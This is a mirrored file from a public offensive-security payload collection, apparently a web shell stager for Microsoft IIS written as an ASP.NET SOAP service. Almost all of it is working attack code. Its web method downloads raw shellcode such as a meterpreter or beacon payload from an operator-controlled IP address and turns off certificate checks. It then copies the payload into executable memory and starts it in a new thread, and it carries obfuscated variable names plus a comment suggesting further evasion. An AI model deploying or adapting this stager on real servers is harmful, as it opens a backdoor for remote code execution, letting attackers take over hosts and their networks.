mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-18 18:36:10 +00:00
55 lines
2.4 KiB
Plaintext
55 lines
2.4 KiB
Plaintext
<%@ WebService Language="C#" class="SoapStager"%>
|
|
using System;
|
|
using System.IO;
|
|
using System.Web;
|
|
using System.Web.Services;
|
|
using System.Net;
|
|
using System.Net.NetworkInformation;
|
|
using System.Net.Security;
|
|
|
|
// SRC: https://red.0xbad53c.com/red-team-operations/initial-access/webshells/iis-soap
|
|
// https://github.com/0xbad53c/webshells/tree/main/iis
|
|
|
|
[WebService(Namespace = "http://microsoft.com/" ,Description ="SOAP Stager Webshell" , Name ="SoapStager")]
|
|
[WebServiceBinding(ConformsTo = WsiProfiles.BasicProfile1_1)]
|
|
public class SoapStager : MarshalByRefObject
|
|
{
|
|
private static Int32 MEM_COMMIT=0x1000;
|
|
private static IntPtr PAGE_EXECUTE_READWRITE=(IntPtr)0x40;
|
|
|
|
[System.Runtime.InteropServices.DllImport("kernel32")]
|
|
private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr,UIntPtr size,Int32 flAllocationType,IntPtr flProtect);
|
|
|
|
[System.Runtime.InteropServices.DllImport("kernel32")]
|
|
private static extern IntPtr CreateThread(IntPtr lpThreadAttributes,UIntPtr dwStackSize,IntPtr lpStartAddress,IntPtr param,Int32 dwCreationFlags,ref IntPtr lpThreadId);
|
|
|
|
|
|
[System.ComponentModel.ToolboxItem(false)]
|
|
[WebMethod]
|
|
public string loadStage()
|
|
{
|
|
string Url = "http://10.90.255.52/beacon.bin"; //your IP and location of meterpreter or other raw shellcode
|
|
byte[] rzjUFlLZh;
|
|
|
|
IWebProxy defaultWebProxy = WebRequest.DefaultWebProxy;
|
|
defaultWebProxy.Credentials = CredentialCache.DefaultCredentials;
|
|
|
|
// in case of HTTPS
|
|
using (WebClient webClient = new WebClient() { Proxy = defaultWebProxy })
|
|
{
|
|
ServicePointManager.SecurityProtocol = (SecurityProtocolType)3072;
|
|
ServicePointManager.ServerCertificateValidationCallback = new RemoteCertificateValidationCallback(delegate { return true; });
|
|
webClient.UseDefaultCredentials = true;
|
|
rzjUFlLZh = webClient.DownloadData(Url);
|
|
}
|
|
|
|
|
|
// Feel free to improve to PAGE_READWRITE & direct syscalls for more evasion
|
|
IntPtr fvYV5t = VirtualAlloc(IntPtr.Zero,(UIntPtr)rzjUFlLZh.Length,MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
|
System.Runtime.InteropServices.Marshal.Copy(rzjUFlLZh,0,fvYV5t,rzjUFlLZh.Length);
|
|
IntPtr owlqRoQI_ms = IntPtr.Zero;
|
|
IntPtr vnspR2 = CreateThread(IntPtr.Zero,UIntPtr.Zero,fvYV5t,IntPtr.Zero,0,ref owlqRoQI_ms);
|
|
|
|
return "finished";
|
|
}
|
|
} |